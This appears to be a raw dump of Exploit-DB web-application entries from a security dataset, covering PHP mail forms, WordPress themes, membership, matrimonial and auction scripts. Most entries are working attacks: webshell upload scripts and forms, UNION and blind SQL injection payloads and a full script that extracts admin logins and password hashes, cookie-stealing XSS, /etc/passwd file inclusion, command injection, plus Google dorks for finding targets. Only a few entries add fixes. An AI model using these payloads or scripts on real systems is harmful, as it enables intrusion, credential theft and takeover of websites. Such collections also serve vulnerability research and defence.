deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11485
Description: Multiple File Attachments Mail Form Pro 2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-02-17
Author: EgoPL

Exploit:
# Exploit Title: Multiple File Attachments Mail Form Pro v2 - WebShell upload
# Date: 16/02/2010
# Author: EgoPL
# Mail: dplrip@gmail.com<mailto:dplrip@gmail.com>
# Software Link: http://activeden.net/item/multiple-file-attachments-mail-form-prov2/31262 17$ but It's now on a lot of file hosts companys like rapishare etc
# Version: Pro V2
# Tested on: Arch Linux + Apache but it's OS independent.

# Description of the webapp:

Multiple File Attachments Mail Form Pro v2 is a commercial flash and php mail sender with multiattachments support.

#Exploit:

The webapp uploads the attachments of the mail with 777 permissions so you can upload a webshell and use it, the attachments are uploaded to the directory files.
You access to the web with Multiple File Attachments Mail Form Pro v2.
http://<https://mail.google.com/mail/#compose>www.example.com/index.html<http://www.example.com/index.html>
You attach a webshell like c99.php and you can use it in:
http://<https://mail.google.com/mail/#compose>www.example.com/files/c99.php<http://www.example.com/files/c99.php>

Code of upload.php:

<?php
if(!is_dir("./files")) mkdir("./files", 0755);
move_uploaded_file($_FILES['Filedata']['tmp_name'], "./files/".$_FILES['Filedata']['name']);
chmod("./files/".$_FILES['Filedata']['name'], 0777);
?>

That's the EPIC fail. You only need to upload a webshell and enter to it in the folder files.

# Solution:

Change the permissions of the upload.php file to 0600 or any similar.

Code of not vulnerable upload.php:

<?php
if(!is_dir("./files")) mkdir("./files", 0600);
move_uploaded_file($_FILES['Filedata']['tmp_name'], "./files/".$_FILES['Filedata']['name']);
chmod("./files/".$_FILES['Filedata']['name'], 0600);
?>
Exploit-DB #7346
Description: Multiple Membership Script 2.5 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-05
Author: ViRuS_HaCkErS

Exploit:
================================================
  Multiple Membership Script V 2.5 SQL Injection Vulnerability
================================================
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. Gaza Hacker Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /          
  / XXXXXX /
 (________(            
  `------'

AUTHOR : ViRuS_HaCkErS
Email  : h8g@hotmail.com
SITE   : gaza-hacker.com  & hacker.ps

#####################################################
#####################################################
---------
 Exploit
---------
SQL Injection Vulnerability

http://www.site.com/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin

sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin
http://www.pricelesshost.com/mmsv2/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin
 
Login : http://www.site.com/admin

#######################################################################################
Gaza Hacker TeaM : Le0n &  Lito & cLAw & zero cod
#######################################################################################

# milw0rm.com [2008-12-05]
Exploit-DB #29946
Description: Multiple WordPress Orange Themes - Cross-Site Request Forgery (Arbitrary File Upload)
Type: webapps
Platform: php
Date: 2013-12-01
Author: Jje Incovers

Exploit:
#Title : Wordpress Orange Themes CSRF File Upload Vulnerability
#Author : Jje Incovers
#Date : 01/12/2013 - 17 November 2013
#Category : Web Applications
#Type : PHP
#Vendor : http://www.orange-themes.com/
#Download : http://www.orange-themes.com/portfolio/
#Tested : Mozila, Chrome, Opera -> Windows & Linux
#Vulnerabillity : CSRF
#Scanning Theme : [ Agritourismo , Forca , Grandis , Legatus , Reganto , Sportimo , Piccione , Bulteno , Coloris , Botanica , Project 10 , Pinword , Rockstar , Kernel , Bordeaux , Radial , Oxygen , Ray Of Light , Gadgetine ] -theme

#Dork : 
inurl:"/wp-content/themes/agritourismo-theme/"
inurl:"/wp-content/themes/bordeaux-theme/"
inurl:"/wp-content/themes/bulteno-theme/"
inurl:"/wp-content/themes/oxygen-theme/"
inurl:"/wp-content/themes/radial-theme/"
inurl:"/wp-content/themes/rayoflight-theme/"
inurl:"/wp-content/themes/reganto-theme/"
inurl:"/wp-content/themes/rockstar-theme/"  

CSRF File Upload Vulnerability

Exploit & POC : 

http://site-target/wp-content/themes/rockstar-theme/functions/upload-handler.php

Script :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wp-content/themes/rockstar-theme/functions/upload-handler.php" method="post"> 
Your File: <input name="uploadfile" type="file" /><br /> 
<input type="submit" value="upload" /> 
</form> 


File Access :

http://site-target/wp-content/uploads/[years]/[month]/your_shell.php

Example : http://127.0.0.1/wp-content/uploads/2013/13/inc0vers.php

Note :
Script CSRF equate with dork you use

########################################
#Greetz : 0day-id.com | newbie-security.or.id | SANJUNGAN JIWA
#Thanks : Akira | Xie Log | - SANJUNGAN JIWA
########################################
Exploit-DB #37417
Description: Multiple WordPress Themes - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-18
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54052/info

Multiple Themes for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

WordPress Famous theme 2.0.5 and WordPress Deep Blue theme 1.9.2 are vulnerable. 

<?php

$uploadfile="lo.php";
 
$ch = curl_init("http://www.example.com/wordpress/wp-content/themes/deep-blue/megaframe/megapanel/inc/upload.php?folder=/wordpress/wp-content/themes/deep-blue/megaframe/megapanel/inc/&fileext=php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

<?php

$uploadfile="lo.php";
 
$ch = curl_init("http://www.example.com/wordpress/wp-content/themes/famous/megaframe/megapanel/inc/upload.php?folder=/wordpress/wp-content/themes/famous/megaframe/megapanel/inc/&;fileext=php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>
Exploit-DB #36611
Description: Multiple WordPress UpThemes Themes - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-04-02
Author: Divya

Exploit:
# Exploit Title: Wordpress SimpleCart Theme File Upload and Execution
# Google Dork: inurl:/wp-content/themes/simplecart
# Date: 31 March 2015
# Exploit Author: Divya
# Vendor Homepage: https://github.com/UpThemes/
# Software Link: https://github.com/UpThemes/SimpleCart-Theme
# Version: 2.1.2
# Tested on: Windows, Linux
# CVE : None
#
# Other Themes:
# Micro Theme 1.0.3: https://github.com/UpThemes/Micro-Theme
# Holding Pattern Theme 1.3: https://github.com/UpThemes/Holding-Pattern-Theme
# Gallery Pro Theme 2.5.3: https://github.com/UpThemes/Gallery-Pro-Theme/
# Evo Theme 1.3: https://github.com/UpThemes/Evo-Theme
# Charity Theme 1.1.3: https://github.com/UpThemes/Charity-Theme/

<html>
<head>
<title>WP Theme Exploit</title>
<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/rollups/md5.js"></script>
<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/components/enc-base64-min.js"></script>
<script>
function process_data()
{
	var proto = "http://";
	if (document.getElementById('rb1').checked)
	{
		proto = document.getElementById('rb1').value;
	}
	var targetip = document.getElementById('targetip').value;
	var filepath = document.getElementById('vfile').value;
	var formaction = proto.concat(targetip,filepath);
	document.getElementById("myform").setAttribute("action", formaction);
	document.getElementById("file1").setAttribute("name", CryptoJS.MD5(document.getElementById('targetip').value));
	return true;
}
</script>
</head>
<body>
<form id="myform" name="myform" action="#" method="post" enctype="multipart/form-data">
	Target IP: <input type="text" id="targetip" name="targetip">
	<input type="radio" id="rb1" name="rb1" value="http://" checked>HTTP 
	<input type="radio" id="rb1" name="rb1" value="https://">HTTPS <br>
	Upload File: <input type="file" id="file1" name="n1"><br> <!--name="00958fd0af98291fdf517e3fe763da5c"-->
	Upload Path: <input type="text" id="upload_path" name="upload_path" value="Li4vLi4vLi4vLi4v"><br><br>
	<fieldset>
	<legend>Base64 Encoded value (without double quotes)</legend>
	1. "Li4vLi4vLi4vLi4v" for website root directory upload.<br>
	2. "Lg==" for current directory upload.<br>
	</fieldset><br>
	Vulnerable File: <input type="text" id="vfile" name="vfile" value="/wp-content/themes/simplecart/admin/upload-file.php" size="100%"><br><br>
	<input type="submit" value="Exploit" onClick="process_data()">
</form>
</body>
</html>
Exploit-DB #35830
Description: Multiple WordPress WooThemes Themes - 'test.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-06-06
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/48110/info

Multiple WordPress WooThemes (Live Wire) are prone to a cross-site scripting vulnerability because they fail to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/wp-content/themes/_theme's_name_/includes/test.php?a[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #38167
Description: Multiple WordPress WPScientist Themes - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-01-04
Author: JingoBD

Exploit:
source: https://www.securityfocus.com/bid/57152/info

Multiple themes from WPScientist for WordPress are prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

The following themes are vulnerable:

Lightspeed version 1.1.2
Eptonic version 1.4.3
Nuance version 1.2.3 

=================== EXPLOIT====================
<?php

$uploadfile="bangla.php"; 
$ch =
curl_init("http://www.example.com/wordpress/VALUMS_UPLOADER_PATH/php.php");
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access: http://www.example.com/wp-content/uploads/2013/01/bangla.php
Exploit-DB #43301
Description: Multiplex Movie Theater Booking Script 3.1.5 - 'moid' / 'eid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Multiplex Movie Theater Booking Script 3.1.5 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/multiplex-theater-booking-script/
# Version: 3.1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/trailer-detail.php?moid=[SQL]
# 
# -122'++UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),13,14,15,16,17,18,19,20,21,22,23--+-
# 
# 
# 2)
# http://localhost/[PATH]/show-time.php?moid=[SQL]
# 
# -102'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x7469636b65745f61646d696e)AND(0x00)IN(@x:=concat(@x,CONCAT(LPAD(@NR:=@NR+1,2,0x30),0x3a20,column_name,0x3c62723e)))))x),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23))--+-
# 
# 
# 3)
# http://localhost/[PATH]/event-detail.php?eid=[SQL]
# 
# -45'++UNION+SELECT+1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(ticket_admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,admin_user,admin_pass,0x3c62723e))))x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+-
# 
# 
# # # # #
Exploit-DB #16058
Description: MultiPowUpload 2.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-01-26
Author: DIES3L

Exploit:
[#] Exploit Title:  MultiPowUpload v 2.1 Remote File Upload Vulnerability
[#] Author: DIES3L
[#] Email: zxn@Hotmail.Com
[#] Date: 26-1-2011
[#] Software Link: http://www.element-it.com
[#] Download Software : http://www.element-it.com/Download/ElementIT.MultiPowUpload3.zip
[#] Version: 2.1
[#] Tested on: LiNuX

======================

[-- Exploit --]
http://localhost/[path]/uploadtest.html

+ Click Browse Then Chose Your File [SHELL.php]
+ Your Shell Here :
http://localhost/[path]/FileProcessingScripts/PHP/UploadedFiles/[SHELL.php]

Have Fun !
======================

[-- Greetz To --]
ALL H4ck4rs FroM s4uD1 Ar4b!a ..

======================
Exploit-DB #43299
Description: Multireligion Responsive Matrimonial 4.7.2 - 'succid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Multireligion Responsive Matrimonial 4.7.2 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/multireligion-responsive-matrimonial/
# Version: 4.7.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/success-story.php?succid=[SQL]
# 
# -16++/*!02222UNION*/(/*!02222SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,(/*!02222Select*/+export_set(5,@:=0,(/*!02222select*/+count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929)--+-
# 
# 
# # # # #
Exploit-DB #41530
Description: Multireligion Responsive Matrimonial Script 4.7.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Multireligion Responsive Matrimonial Script v4.7.1 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/multireligion-responsive-matrimonial/
# Demo: http://74.124.215.220/~matridemo/multi-religion/
# Version: 4.7.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search-smart-result.php?cityse=Smart+Search&gender=Male&subcaste=[SQL]&diet=[SQL]&smoke=[SQL]&drink=[SQL]&body_type=[SQL]&familyvalue=[SQL]&familystatus=[SQL]&asubmit=SEARCH
# # # # #
Exploit-DB #43290
Description: Multivendor Penny Auction Clone Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Multivendor Penny Auction Clone Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/penny-auction-script/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/detail/[SQL]
# 
# -48++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29))--+-
# 
# http://server/bidding/detail/-48++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29))--+-
# 
# # # # #
Exploit-DB #34634
Description: Multple I-Escorts Products - 'escorts_search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-15
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/43249/info

Multiple I-Escorts products are prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

I-Escorts Directory Script and I-Escorts Agency Script are vulnerable. 

http://www.example.com/demos/escorts-agency/escorts_search.php => Your XSS
Exploit-DB #5440
Description: Mumbo Jumbo Media OP4 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-04-13
Author: Lidloses_Auge

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#   Mumbo Jumbo Media - OP4 - Blind SQL Injection Exploit     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Exploit coded by:            Lidloses_Auge
#      Greetz to:                   Free-Hack, GPM
#      Date:                        13.04.2008
#
###############################################################
#                                                             
#      Dork:  "mumbo jumbo media" + inurl:"index.php"
#      Usage: php '.$argv[0].' [Target] [Page ID] [Admin ID]
#      Example for "http://www.site.com/cms/index.php?id=300"
#      => php '.$argv[0].' http://www.site.com/cms/ 300 1
#                                                             
###############################################################
');
if ($argc > 1) {
print_r('
');
   echo 'Searching for Admin: ';
   for($i=1; $i <= 50; $i++) { 
      $temp1 = file_get_contents($argv[1].'index.php?id='.$argv[2].'+and+length((select+kennung+from+op4_admin+where+id='.$argv[3].'))='.$i.'--');
      if (strpos($temp1,'Die angeforderte Seite existiert nicht') == 0) {
         $adlen = $i;
         $i = 50;
      }
   }
   for($i=1; $i <= $adlen; $i++) {
      for($zahl=48; $zahl <= 122; $zahl++) {
         $temp = file_get_contents($argv[1].'index.php?id='.$argv[2].'+and+ascii(substring((select+kennung+from+op4_admin+where+id='.$argv[3].'),'.$i.',1))='.$zahl.'--');
         if (strpos($temp,'Die angeforderte Seite existiert nicht') == 0) {
            echo chr($zahl);
            $zahl = 122;
         }
         if ($zahl == 57) {
            $zahl = 96;
         }
      }
   }
print_r('
');
   echo 'Searching for Hash:  ';
   for($i=1; $i <= 32; $i++) { 
      for($zahl=48; $zahl <= 102; $zahl++) {
         if ($check = 0) {
            $temp2 = file_get_contents($argv[1].'index.php?id='.$argv[2].'+and+ascii(substring((select+passwort+from+op4_admin+where+id='.$argv[3].'),'.$i.',1))<97--');
            if (strpos($temp2,'Die angeforderte Seite existiert nicht') == 0) {
               $zahl = 97;
               $check = 1;
            }
         }
         $temp = file_get_contents($argv[1].'index.php?id='.$argv[2].'+and+ascii(substring((select+passwort+from+op4_admin+where+id='.$argv[3].'),'.$i.',1))='.$zahl.'--');
         if (strpos($temp,'Die angeforderte Seite existiert nicht') == 0) {
            echo chr($zahl);
            $zahl = 102;
         }
         if ($zahl == 57) {
            $zahl = 97;
         }
      }
      $check = 0;
   }
}
?>

# milw0rm.com [2008-04-13]
Exploit-DB #8948
Description: Mundi Mail 0.8.2 - 'top' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-06-15
Author: Br0ly

Exploit:
----------------------------------------------------------------------------------------------------------


  Name : Mundi Mail
  Site : http://sourceforge.net/projects/mundimail/

  Down : http://sourceforge.net/project/showfiles.php?group_id=100875&package_id=108474&release_id=221732


----------------------------------------------------------------------------------------------------------


 
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com


----------------------------------------------------------------------------------------------------------


  Description:

  Bug : Local/Remote File Inclusion

 template/simpledefault/admin/_masterlayout.php:10:	include($top);




  If allow_url_fopen=on   --> RFI;
  If magic_quotes_gpc=off --> LFI;  



----------------------------------------------------------------------------------------------------------


  P0c:
 
    LFI:http://localhost/Scripts/mundimail/template/simpledefault/admin/_masterlayout.php?top=/etc/passwd

    RFI:http://localhost/Scripts/mundimail/template/simpledefault/admin/_masterlayout.php?top=[EVIL_CODE]


  OBS: need register_globals=on;

----------------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-15]
Exploit-DB #10287
Description: MundiMail 0.8.2 - Remote Code Execution
Type: webapps
Platform: php
Date: 2009-09-07
Author: Dedalo

Exploit:
# Reference: http://www.ccat.edu.mx/advisors/advisor5/advisor5.html
# Credits: Ccat Research Labs   - México - Coatepec, Ver.  www.ccat.edu.mx

# Software Link: http://sourceforge.net/projects/mundimail/
# Tested on: Debian, Centos & Windows Server 2000

Preview:

Code uses System() and Exec() without good practices in security.


1.- First Vulnerable Code

//need to kill daemon
		$cmd = "/bin/kill";
		$cmd .= " " . $_REQUEST["mypid"];
		system($cmd);

2.- Explotation

/admin/satus/index.php?mypid=command;


3.- Fixation


$cmd .= " " . escapeshellcmd($_REQUEST["mypid"]);

4.- Second Vulnerable Code

$cmd = ROOTDIR . "include/massmail.php";
		$cmd .= ' ' . $_REQUEST["idtag"];
		$cmd .= ' > /dev/null';
		$cmd .= ' &';
		echo $cmd . "<br>\n";
		exec($cmd);
		$mid = "../mail/success.php";

5.- Explotation

/admin/status/index.php?idtag=command;


6.-fixation

$cmd .= ' ' . escapeshellcmd($_REQUEST["idtag"]);


7.- Other

We Can use other types of Fixation bug this is an easy one ;)


8.- Greetz

www[dot]seguridadblanca[dot]com


--------------
Happy Hacking
--------------